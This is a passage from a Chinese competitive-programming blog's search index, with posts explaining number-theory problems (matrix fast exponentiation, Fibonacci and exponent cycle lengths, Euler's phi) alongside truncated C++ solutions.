\u003c 2 ; j++) 74 for ( int k = 0 ; k \u003c 2 ; k++) 75 c.ma","date":"2016-10-31","externalUrl":null,"permalink":"/2016/10/hdu-4291/","section":"Posts","summary":"题目链接 题意： Given n (1 \u003c= n \u003c= 1018), You should solve for g(g(g(n))) mod 109 + 7 where g(n) = 3g(n - 1) + g(n - 2) g(1) = 1","tags":["循环节","快速幂","斐波那契","矩阵"],"title":"hdu 4291 A Short problem (矩阵快速幂+广义斐波那契循环节||暴力找循环节)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：A number sequence is defined as follows: f(1) = 1, f(2) = 1, f(n) = (A * f(n - 1) + B * f(n - 2)) mod 7. Given A, B, and n, you are to calculate the value of f(n). 思路：矩阵加速线性递推式。 这题第一次看是2012年11月2333，当时用pascal写的 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 31 Oct 2016 05:03:40 AM CST 4File Name :code/hdu/1005.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33struct Mat 34{ 35 LL mat[2][2]; 36 void clear() 37 { 38 ms(mat,0); 39 } 40}M,M1; 41Mat operator * ( Mat a,Mat b) 42{ 43 Mat c; 44 c.clear(); 45 for ( int i = 0 ;i \u003c 2 ; i ++) 46 for ( int j = 0 ; j \u003c 2 ; j++) 47 for ( int k = 0 ; k \u003c 2 ; k++) 48 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k] * b.mat[k][j] )%7; 49 return c; 50} 51Mat operator ^ ( Mat a,LL b) 52{ 53 Mat res; 54 res.clear(); 55 for ( int i = 0 ; i \u003c 2 ; i++) 56 res.mat[i][i] = 1; 57 while (b\u003e0) 58 { 59 if (b\u00261) res = res * a; 60 b = b \u003e\u003e 1LL; 61 a = a * a; 62 } 63 return res; 64} 65LL A,B,n; 66void init() 67{ 68 M.clear(); 69 M.mat[0][1] = 1; 70 M.mat[1][0] = B; 71 M.mat[1][1] = A; 72 M1.clear(); 73 M1.mat[0][0] = 1; 74 M1.mat[1][0] = 1; 75} 76int main() 77{ 78 #ifndef ONLINE_JUDGE 79 freopen(\"code/in.txt\",\"r\",stdin); ","date":"2016-10-30","externalUrl":null,"permalink":"/2016/10/hdu-1005/","section":"Posts","summary":"题目链接 题意：A number sequence is defined as follows: f(1) = 1, f(2) = 1, f(n) = (A * f(n - 1) + B * f(n - 2)) mod 7.","tags":["快速幂","矩阵"],"title":"hdu 1005 Number Sequence (矩阵快速幂加速线性递推式)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：f[0] = 1,f[1] = 1,f[i] = f[i-1] + f[i-2] (i\u003e=2)，问最小的m满足f[n]%p==f[n+m]%p 思路：求斐波那契数列循环节。 参考了Acdreamer的博客_Fib数模n的循环节 对于一个正整数n，我们求Fib数模n的循环节的长度的方法如下： （1）把n素因子分解，即 （2）分别计算Fib数模每个 的循环节长度，假设长度分别是 （3）那么Fib模n的循环节长度 从上面三个步骤看来，貌似最困难的是第二步，那么我们如何求Fib模 的循环节长度呢？ 这里有一个优美的定理：Fib数模 的最小循环节长度等于 ，其中 表示Fib数模素数 的最小循环节长度。可以看出我们现在最重要的就是求 对于求 我们利用如下定理： 如果5是模 的二次剩余，那么循环节的的长度是 的因子，否则，循环节的长度是 的因子。 顺便说一句，对于小于等于5的素数，我们直接特殊判断，loop(2)=3,loop(3)=8,loop(5)=20。 那么我们可以先求出所有的因子，然后用矩阵快速幂来一个一个判断，这样时间复杂度不会很大。 这道题是模板题。博客中的模板代码很好理解… 换成了自己比较熟悉的矩阵构造方式，以及代码风格。 需要注意的是下标是从0开始的，当验证k是否为循环节的时候，应该验证f[k]和f[k+1] 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 31 Oct 2016 03:54:15 AM CST 4File Name :code/hdu/3977.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL P; 34struct Mat 35{ 36 LL mat[2][2]; 37 void clear() 38 { 39 ms(mat,0); 40 } 41}M,M1; 42Mat mul (Mat a,Mat b,LL mod) 43{ 44 Mat c; 45 c.clear(); 46 for ( int i = 0 ; i \u003c 2 ; i++) 47 for ( int j = 0 ; j \u003c 2 ; j++) 48 for ( int k = 0 ; k \u003c 2 ; k++) 49 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k] * b.mat[k][j]%mod)%mod; 50 return c; 51} 52Mat mat_ksm(Mat a,LL b,LL mod) 53{ 54 Mat res; 55 res.clear(); 56 for ( int i = 0 ; i \u003c 2 ; i+","date":"2016-10-30","externalUrl":null,"permalink":"/2016/10/hdu-3977/","section":"Posts","summary":"题目链接 题意：f[0] = 1,f[1] = 1,f[i] = f[i-1] + f[i-2] (i\u003e=2)，问最小的m满足f[n]%p==f[n+m]%p","tags":["二次剩余","循环节","斐波那契"],"title":"hdu 3977 Evil teacher (斐波那契数列循环节)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出了一段伪代码。分析得知其实就是f[1]= a,f[2] = b,f[n]=f[n-1] * f[n-2] 思路：一眼题，和hdu4549很类似hdu4549解题报告 不同的是这道题中p不一定是质数（其实不是也无所谓啊…hdu4549只不过是因为1E9+7是指数，又用费马小定理化简了一下,这道理%phi(p)即可） 还有这道题让我知道了 首先我们知道指数循环节公式，也就是所谓的降幂公式为：a^x = a^(x mod phi(c)+phi(c)) (mod c) x\u003e=phi(c)，（ps:后面的限制条件，在x\u003cphi(c)的时候，该式子依然正确，只不过增加了运算复杂度。。。？ 存疑） 括号里的话是错误的。只有当x\u003cphi(c)的时候，这个公式才成立。 这道题就是反例，不加判断会wa。 1/* *********************************************** 2Author :111qqz 3Created Time :Sun 30 Oct 2016 11:46:33 PM CST 4File Name :code/hdu/3221.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL a,b,p,n; 34LL mod; 35LL euler( LL x) 36{ 37 LL ret = 1; 38 for ( LL i = 2 ; i*i \u003c= x; i++) 39 { 40 if (x%i==0) 41 { 42 x/=i; 43 ret*=(i-1); 44 while (x%i==0) 45 { 46 x/=i; 47 ret*=i; 48 } 49 } 50 } 51 if (x\u003e1) ret*=(x-1); 52 return ret; 53} 54 55struct Mat 56{ 57 LL mat[2][2]; 58 void clear() 59 { 60 ms(mat,0); 61 } 62}M,M1; 63 64Mat operator * (Mat a,Mat b) 65{ 66 Mat res; 67 res.clear(); 68 for ( int i = 0 ; i \u003c 2 ; i++) 69 for ( int j = 0 ; j \u003c 2 ; j++) 70 for ( int k = 0 ; k \u003c 2 ; k++) 71 { 72 res.mat[i][j] = (res.mat[i][j] + a.mat[i][k]*b.mat[k][j]); 73 if (res.mat[i][j]\u003e=mod) 74 res.mat[i][j] = res.mat[i][j] % mod + mod; 75 } 76 re","date":"2016-10-30","externalUrl":null,"permalink":"/2016/10/hdu-3221/","section":"Posts","summary":"题目链接 题意：给出了一段伪代码。分析得知其实就是f[1]= a,f[2] = b,f[n]=f[n-1] * f[n-2]","tags":["快速幂","指数循环节","矩阵"],"title":"hdu 3221 Brute-force Algorithm (矩阵快速幂+指数循环节)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： Assume that f(0) = 1 and 0^0=1. f(n) = (n)^f(n/10) for all n bigger than zero. Please calculate f(n)%m. (2 ≤ n , m ≤ 10^9, x^y means the y th power of x). 思路：指数循环节。 trick点在于0^0=1这点。 比较容易想到的一层是ksm的时候特判。 比较不容易想到的一层是，0作为底数的时候，可能出现0^a在用降幂公式加速后，出现0^0。 举个例子： 680 80 phi(80)=32,恰好是8^6的因子 而0^(8^6)答案应该为0，用降幂公式加速后变成了0^0，答案变成了1，结果错误 究其原因，是因为这道题中底数可能有0以及0^0是题目中定义的运算。 解决办法是ksm的结果判断一下，如果是0就加mod。 1/* *********************************************** 2Author :111qqz 3Created Time :Sun 30 Oct 2016 07:19:02 PM CST 4File Name :code/hdu/2837.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31LL n,m; 32LL digit[20]; 33int cnt; 34LL ksm( LL a,LL b,LL mod) 35{ 36 // cout\u003c\u003c\"a:\"\u003c\u003ca\u003c\u003c\" b:\"\u003c\u003cb\u003c\u003c\" mod:\"\u003c\u003cmod\u003c\u003c\" \"; 37 if (b==0) return 1; 38 if (a==0) return 0; //任何数的0次方都为1，0的任何除0外次方等于0. 39 LL res = 1; 40 while (b\u003e0) 41 { 42 if (b\u00261) res = ( res * a) % mod; 43 b = b \u003e\u003e 1LL; 44 a = ( a*a) % mod; 45 } 46 // if (res\u003cmod) res = res+mod; 47 if (res==0) res = mod; 48 // cout\u003c\u003c\" res:\"\u003c\u003cres\u003c\u003cendl; 49 return res; 50} 51LL euler( LL x) 52{ 53 LL ret = 1; 54 for ( LL i =2 ; i * i \u003c= x ; i++) 55 { 56 if (x%i==0) 57 { 58 x/=i; 59 ret*=(i-1); 60 while (x%i==0) 61 { 62 x/=i; 63 ret*=i; 64 } 65 } 66 } 67 if (x\u003e1) ret*=(x-1)","date":"2016-10-30","externalUrl":null,"permalink":"/2016/10/hdu-2837/","section":"Posts","summary":"题目链接 题意： Assume that f(0) = 1 and 0^0=1. f(n) = (n)^f(n/10) for all n bigger than zero. Please calculate f(n)%m. (2 ≤ n , m ≤ 10^9, x^y means the y th power of x).","tags":["指数循环节","欧拉函数"],"title":"hdu 2837 Calculation (指数循环节+欧拉函数)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出b,p,m（( 0\u003c=b\u003cP, 1\u003c=P\u003c=10^5, 1 \u003c= M \u003c=2^64 – 1 )）,问满足图中条件的n有多少个。 思路：这题由于对p没有限制，所以细节多一些，需要讨论。 首先我们知道指数循环节公式，也就是所谓的降幂公式为：a^x = a^(x mod phi(c)+phi(c)) (mod c) x\u003e=phi(c)，（ps:后面的限制条件，在x\u003cphi(c)的时候，该式子依然正确，只不过增加了运算复杂度。。。？ 存疑） 然后我们只需要对n分两种情况讨论。 第一种是n\u003ct ,第二种是n\u003e=t (t = min{x| x! % phi(P)==0}) 由于t不会很大。。前一种直接暴力。。。 后一种用降幂公式搞之。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 27 Oct 2016 03:43:05 AM CST 4File Name :code/hdu/4335.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26typedef unsigned long long ULL; 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N =2E5+7; 33LL b,p; 34LL a[N]; 35unsigned long long M; 36LL euler( LL x) 37{ 38 LL ret = 1; 39 for ( LL i = 2 ; i * i \u003c= x ; i++) 40 { 41 if (x%i==0) 42 { 43 x/=i; 44 ret*=(i-1); 45 while (x%i==0) 46 { 47 x/=i; 48 ret*=i; 49 } 50 } 51 } 52 if (x\u003e1) ret*=(x-1); 53 return ret; 54} 55LL ksm( LL a,LL b,LL k) 56{ 57 LL res = 1; 58 while (b\u003e0) 59 { 60 if (b\u00261) res = (res * a) % k; 61 b = b \u003e\u003e 1LL; 62 a = (a*a) % k; 63 } 64 return res; 65} 66int main() 67{ 68 #ifndef ONLINE_JUDGE 69 freopen(\"code/in.txt\",\"r\",stdin); 70 #endif 71 int T; 72 cin\u003e\u003eT; 73 int cas = 0; 74 while (T--) 75 { 76 scanf(\"%lld%lld%llu\",\u0026b,\u0026p,\u0026M); 77 printf(\"Case #%d: \"","date":"2016-10-27","externalUrl":null,"permalink":"/2016/10/hdu-4335/","section":"Posts","summary":"题目链接 题意：给出b,p,m（( 0\u003c=b\u003cP, 1\u003c=P\u003c=10^5, 1 \u003c= M \u003c=2^64 – 1 )）,问满足图中条件的n有多少个。","tags":["指数循环节","欧拉函数"],"title":"hdu 4335 What is N? （指数循环节+欧拉函数)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求一个楼梯数%m的大小。 思路：指数循环节。 需要注意的是，模数只有最外层是m，每往里一层，模数都变成m=phi(m) 所以可以写个dfs或者先预处理出每一层m存一下。 记得考虑n=1的特殊情况。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 26 Oct 2016 07:07:27 PM CST 4File Name :code/uva/10692.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31char st[20]; 32LL n,m; 33LL a[15]; 34LL ksm( LL a,LL b,LL k) 35{ 36 LL res = 1; 37 while (b\u003e0) 38 { 39 if (b\u00261) res = (res * a )% k; 40 b = b \u003e\u003e 1; 41 a = ( a * a) % k; 42 } 43 return res; 44} 45LL euler( LL x) 46{ 47 LL ret = 1 ; 48 for ( LL i = 2 ; i*i \u003c= x ; i++) 49 { 50 if (x%i==0) 51 { 52 x/=i; 53 ret*=(i-1); 54 while (x%i==0) 55 { 56 x/=i; 57 ret*=i; 58 } 59 } 60 } 61 if (x\u003e1) ret*=(x-1); 62 return ret; 63} 64LL phi[20]; 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 int cas = 0 ; 71 while (~scanf(\"%s\",st)) 72 { 73 ms(a,0); 74 ms(phi,0); 75 // cout\u003c\u003c\"st:\"\u003c\u003cst\u003c\u003cendl; 76 if (st[0]=='#') break; 77 int len = strlen(st); 78 m = 0 ; 79 for ( int i = 0 ; i \u003c len ; i++) 80 { 81 LL val = st[i]-'0'; 82 m = m * 10 + val; 83 } 84 // cout\u003c\u003c\"m:\"\u003c\u003cm\u003c\u003cendl; 85 scanf(\"%lld\",\u0026n); 86 phi[0] = m; 87 for ( int i = 1; i \u003c= n ; i++) scanf(\"%lld\",a+i); 88 LL fi = e","date":"2016-10-26","externalUrl":null,"permalink":"/2016/10/uva-10692/","section":"Posts","summary":"题目链接 题意：求一个楼梯数%m的大小。 思路：指数循环节。 需要注意的是，模数只有最外层是m，每往里一层，模数都变成m=phi(m)","tags":["number theory","指数循环节","欧拉函数"],"title":"uva 10692  Huge Mods (欧拉函数，指数循环节)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：定义s(k)为将n分成k个正整数的划分数，给出n，问s(1) + s(2) + … + s(n-1) + s(n)是多少，结果9+7，其中n\u003c=10^100000。 思路：首先化简要求的式子。 根据隔板法_维基百科 现在有10个球，要放进3个盒子里 ●●●●●●●●●● 隔2个板子，把10个球被隔开成3个部分 ●|●|●●●●●●●●、●|●●|●●●●●●●、●|●●●|●●●●●●、●|●●●●|●●●●●、●|●●●●●|●●●●、●|●●●●●●|●●●、…… 如此类推，10个球放进3个盒子的方法总数为{ n个球放进k个盒子的方法总数为{ 问题等价于求{ 的可行解数，其中 为正整数。 于是问题转化成： n个木棍，n-1个缝， 分成1份则是C(n-1,0); 分成2份则是C(n-1,1); 分成3份则是C(n-1,2); … 分成n份则是C(n-1,n-1); ans = sum( C(n-1,i) ) (0\u003c=i\u003c=n-1) =2^(n-1); 这是我能理解的得到2^(n-1)的方式。。。 看到有好多人说这个结论是显然的。。。求指教（说这是个结论记住就好的就算了23333） 接下来，就是求A=2^(n-1)9+7的问题了。。。 根据指数循环节公式A=2^((n-1)%(mod-1))*2^(mod-1)%mod (其中mod=1E9+7) 由于gcd(2,1E9+7)=1,根据费马小定理2^(mod-1)%mod=1，因此A=2^((n-1)%(mod-1)) 然后快速幂搞之。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 26 Oct 2016 06:22:39 PM CST 4File Name :code/hdu/4704.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34const LL mod = 1E9+7; 35char st[N]; 36int len; 37LL n; 38LL ksm(LL a,LL b) 39{ 40 LL res = 1LL; 41 while (b\u003e0) 42 { 43 if (b\u00261) res = (res * a) % mod; 44 b = b \u003e\u003e 1LL; 45 a = ( a*a ) % mod; 46 } 47 return res; 48} 49int main() 50{ 51 #ifndef ONLINE_JUDGE 52 freopen(\"code/in.txt\",\"r\",stdin); 53 #endif 54 55 while (~scanf(","date":"2016-10-26","externalUrl":null,"permalink":"/2016/10/hdu-4704-sum-/","section":"Posts","summary":"题目链接 题意：定义s(k)为将n分成k个正整数的划分数，给出n，问s(1) + s(2) + … + s(n-1) + s(n)是多少，结果9+7，其中n\u003c=10^100000。","tags":["number theory","指数循环节","费马小定理"],"title":"hdu 4704 Sum (隔板法，指数循环节，费马小定理)","type":"post"},{"categories":["ACM"],"content":"题意：M斐波那契数列F[n]是一种整数数列，它的定义如下： F[0] = a F[1] = b F[n] = F[n-1] * F[n-2] ( n \u003e 1 ) 现在给出a, b, n，你能求出F[n]的值吗？ 思路：观察发现。。。F[n] = a^(fib(n-1)) * b ^ (fib(n)) 此处要用到指数循环节的知识： 111qqz_指数循环节学习笔记 a^n ≡ a^(n % Phi(M) + Phi(M)) (mod M) (n \u003e= Phi(M)) 然后 因为1000000007是质数，对于任意的x,有gcd(x,1000000007) = 1，所以可以结合费马小定理化简上式： a^n ≡ a^(n%(m-1)) * a^(m-1)≡ a^(n%(m-1)) (mod m) 记得特判一下n为0和1的情况。 xiaodingli 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 26 Oct 2016 09:16:22 AM CST 4File Name :code/hdu/4549.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const LL mod = 1E9+7; 32LL a,b,n; 33struct Mat 34{ 35 LL mat[2][2]; 36 void clear() 37 { 38 ms(mat,0); 39 } 40}M,M1; 41Mat operator * ( Mat a,Mat b) 42{ 43 Mat res; 44 res.clear(); 45 for ( int i = 0 ; i \u003c 2 ; i ++) 46 for ( int j = 0 ; j \u003c 2 ; j++) 47 for ( int k = 0 ; k \u003c 2 ; k++) 48 res.mat[i][j] = (res.mat[i][j] + a.mat[i][k] * b.mat[k][j] ) % (mod - 1); 49 return res; 50} 51Mat operator ^ (Mat a,LL b) 52{ 53 Mat res; 54 res.clear(); 55 for ( int i = 0 ; i \u003c 2 ; i++) res.mat[i][i] = 1; 56 while (b\u003e0) 57 { 58 if (b\u00261) res = res * a; 59 b = b \u003e\u003e 1LL; 60 a = a * a ; 61 } 62 return res; 63} 64LL ksm( LL a,LL b) 65{ 66 LL res =","date":"2016-10-26","externalUrl":null,"permalink":"/2016/10/hdu4549/","section":"Posts","summary":"题意：M斐波那契数列F[n]是一种整数数列，它的定义如下： F[0] = a F[1] = b F[n] = F[n-1] * F[n-2] ( n \u003e 1 )","tags":["number theory","指数循环节","矩阵快速幂","费马小定理"],"title":"hdu 4549 M斐波那契数列 (矩阵快速幂+费马小定理+指数循环节)","type":"post"},{"categories":["ACM"],"content":"资料先行： 指数循环节证明 指数循环节2 对指数循环节的一些理解 挂了一点题目，写完来写总结。 vjudge_不会指数循环节的111qqz 写完了。 首先要注意的是： 首先我们知道指数循环节公式，也就是所谓的降幂公式为：a^x = a^(x mod phi(c)+phi(c)) (mod c) x\u003e=phi(c)，（ps:后面的限制条件，在x\u003cphi(c)的时候，该式子依然正确，只不过增加了运算复杂度。。。？ 存疑） 括号里的话是错误的。当x\u003cphi(c)时，该式子是错误的。 之前一直没出问题是因为数据水。 参考题目：hdu3221解题报告","date":"2016-10-26","externalUrl":null,"permalink":"/2016/10/%e6%8c%87%e6%95%b0%e5%be%aa%e7%8e%af%e8%8a%82%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/","section":"Posts","summary":"资料先行： 指数循环节证明 指数循环节2 对指数循环节的一些理解 挂了一点题目，写完来写总结。 vjudge_不会指数循环节的111qqz 写完了。 首先要注意的是：","tags":["number theory","指数循环节","费马小定理"],"title":"指数循环节学习笔记","type":"post"},{"categories":["ACM"],"content":"4547: Hdu5171 小奇的集合 # Time Limit: 2 Sec Memory Limit: 256 MB Submit: 263 Solved: 113 [Submit][Status][Discuss] Description # 有一个大小为n的可重集S，小奇每次操作可以加入一个数a+b(a,b均属于S)，求k次操作后它可获得的S的和的最大 值。（数据保证这个值为非负数） Input # 第一行有两个整数n,k表示初始元素数量和操作数，第二行包含n个整数表示初始时可重集的元素。 对于100%的数据，有 n\u003c=10^5，k\u003c=10^9，|ai|\u003c=10^5 Output # 输出一个整数，表示和的最大值。答案对10000007取模。 Sample Input # 2 2 3 6 Sample Output # 33 HINT # Source # By Hzwer 思路：同hdu 5171的区别在于，a可能为负数。 同样是设a0为次大值，a1为最大值。 根据a0,a1的正负分类讨论。 如果a1\u003c0（此时a0一定也小于0）那么每次操作都是a0+a1,因为越加越小。 如果a0\u003c0，需要计算需要几次运算，使得a0\u003e=0。设需要num次。 原因是，类斐波那契数列的性质可以对于正数，也可以对于负数，但是如果有正数有负数，性质是不满足的。 因此如果num\u003ek，说明一直都是负数，直接运算即可，如果num\u003c=k，就需要先把负数部分用等差数列的方法处理掉。 然后再用矩阵快速幂的方法计算剩下的k-num次。 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 25 Oct 2016 07:00:23 PM CST 4File Name :code/bzoj/4547.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const LL mod = 1E7+7; 32const int N=1E5+7; 33int n,k; 34LL a[N]; 35LL a0,a1; 36LL sum; 37struct Mat 38{ 39 LL mat[2][2]; 40 void clear() 41 { 42 ms(mat,0); 43 } 44}M,M1; 45Mat operator*(Mat a,Mat b) 46{ 47 Mat res; 48 res.clear(); 49 for ( int i = 0 ; i \u003c 2 ; i++) 50 for ( int j = 0 ; j \u003c 2 ; j++) 51 for ( int k = 0 ; k \u003c 2 ; k++) 52 res.mat[i","date":"2016-10-26","externalUrl":null,"permalink":"/2016/10/bzoj-4547-hdu5171--/","section":"Posts","summary":"4547: Hdu5171 小奇的集合 # Time Limit: 2 Sec Memory Limit: 256 MB Submit: 263 Solved: 113 [Submit][Status][Discuss]","tags":["快速幂","斐波那契","矩阵"],"title":"BZOJ 4547: Hdu5171 小奇的集合 (矩阵快速幂)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n,k，以及n个正数，把n个数放在一个集合里，进行k次操作，每次操作取最大的数和次大的数放进集合。问k次操作结束后，集合中所有数的和。 思路：假设初始时刻，次大和最大分别为a0,a1，那么得到的就是一个类斐波那契数列。初始为a0,a1,fn = fn-1 + fn 最后求和。 利用这个性质。。。 我们直接构造完矩阵。。。求出F(n+2)即可。。 需要注意。。。矩阵中每一项是小于1E7+7的。。。矩乘的时候会爆int… 所以mat要用LL存。。我好傻啊。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 20 Oct 2016 10:40:39 AM CST 4File Name :code/hdu/5171.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N =1E5+7; 32const LL mod = 1E7+7; 33int n; 34LL k; 35LL a[N]; 36LL sum; 37LL a0,a1; 38struct Mat 39{ 40 LL mat[3][3]; 41 void clear() 42 { 43 